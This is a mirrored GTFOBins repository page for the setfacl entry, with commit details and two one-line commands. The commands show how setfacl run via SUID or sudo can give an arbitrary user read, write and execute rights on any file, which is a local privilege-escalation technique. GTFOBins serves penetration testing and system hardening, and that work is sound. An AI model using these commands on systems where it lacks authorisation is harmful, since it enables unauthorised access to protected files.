1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/setfacl.md
KernelROM 3f62ed36f2
Add setfacl
Co-authored-by: Kernel-ROM <Kernel-ROM>
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-08-25 20:56:40 +02:00

364 B

description functions
This can be run with elevated privileges to change ownership and then read, write, or execute a file.
suid sudo
code
LFILE=file_to_change USER=somebody ./setfacl -m u:$USER:rwx $LFILE
code
LFILE=file_to_change USER=somebody sudo setfacl -m -u:$USER:rwx $LFILE